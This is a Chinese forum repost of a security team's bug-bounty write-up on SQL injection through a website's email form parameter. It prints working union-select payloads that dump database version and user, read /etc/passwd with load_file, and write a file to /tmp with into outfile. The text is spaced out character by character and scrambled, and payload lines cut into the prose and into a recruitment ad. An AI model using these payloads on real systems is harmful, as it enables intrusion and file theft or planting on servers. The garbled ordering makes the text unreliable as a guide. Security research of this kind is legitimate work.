搜索

[2198] 2020-11-11_通过注入文件和外出文件进行SQL注入

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-16
2020-11-11_通过注入文件和外出文件进行SQL注入 通 过 注 入 文 件 和 外 出 文 件 进 行 S Q L 注 入 原 创   N o G e   E D I 安 全   2 0 2 0 - 1 1 - 1 1 0 1 照 常 在 网 上 注 册 为 会 员 0 2 然 后 重 定 向 到 P O S T ， 将 所 有 表 单 信 息 都 发 送 到 选 择 它 并 发 送 到 转 发 器 。 易 受 攻 击 的 参 数 是 e m a i l 。 0 3 h t t p s : / / w w w . b l a b l a b l a . c o m / s v c / * * * * * / f o r m _ a f f i l i a t e 。
在 请 求 框 中 ， 在 “   e m a i l   ” 参 数 “   ” 中 输 入 此 S Q L 命 令 ， 然 后 单 击 G o （ 此 命 令 将 显 示 版 本 ， 用 户 和 数 据 库 名 称 ） 0 4 结 果 显 示 在 响 应 框 ， 现 在 ， 尝 试 使 用 此 加 载 文 件 命 令   0 5 将 l o a d   f i l e 命 令 更 改 为 o u t f i l e 命 令 ， 在 /   t m p   ' 上 创 建 一 个 文 件 ‘   a n d   1 = 2 u n i o n a l l s e l e c t c o n c a t _ w s ( 0 x 3 a , v e r s i o n ( ) , u s e r ( ) , d a t a b a s e ( ) ) “   5 . 5 . 4 1 - l o g ： r o o t @ 1 0 . 1 3 0 。 * 。 * * ： t p _ c a r t   ” 上 。 ‘ a n d   1 = 2   u n i o n   a l l   s e l e c t   l o a d _ f i l e ( ‘ / e t c / p a s s w d ’ ) ‘ a n d 1 = 2 u n i o n a l l s e l e c t ' b l a b l a b l a _ b u g _ b o u n t y _ p r o g r a m ' i n t o o u t f i l e ' / t m p / b l a b l a b l a '
该 命 令 将 b l a b l a b l a _ b u g _ b o u n t y _ p r o g r a m 写 入 /   t m p 目 录 中 的 b l a b l a b l a 文 件 中 。 0 6 现 在 ， 再 次 使 用 加 载 文 件 来 查 看 文 件 是 否 已 创 建 ， 并 且 未 使 用 此 命 令 并 且 创 建 成 功 ！ 所 以 我 得 到 了 s q l ， 并 且 还 可 以 在 服 务 器 上 创 建 文 件 。 0 0 T i p 你 是 否 想 要 加 入 一 个 安 全 团 队 拥 有 更 好 的 学 习 氛 围 ？ 那 就 加 入 E D I 安 全 （ C T F 小 组 ） ， 这 里 门 槛 不 是 很 高 ， 但 师 傅 们 经 验 丰 富 ， 可 以 带 着 你 一 起 从 基 础 开 始 ， 只 要 你 有 持 之 以 恒 努 力 的 决 心 。 我 们 诚 招 w e b ， m i s c ， r e ， p w n ， c r y p t o 各 个 方 向 的 师 傅 们 ， 不 论 年 龄 、 不 论 性 别 ， E D I 为 大 家 提 供 一 个 共 同 学 习 ， 一 ‘   a n d   1 = 2   u n i o n   a l l   s e l e c t   l o a d _ f i l e ( ‘ / t m p / b l a b l a b l a ’ )
同 进 步 的 平 台 。 我 们 在 挖 掘 ， 不 让 你 埋 没 ！ 你 的 加 入 可 以 给 我 们 带 来 新 的 活 力 ， 我 们 同 样 也 可 以 赠 你 无 限 的 发 展 空 间 。 有 意 向 的 师 傅 请 联 系 我 们 的 无 剧 师 傅 （ 带 上 自 己 的 简 历 ， 简 历 内 容 包 括 自 己 的 学 习 方 向 ， 学 习 经 历 等 ） 。 E D I 安 全 安 全
一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理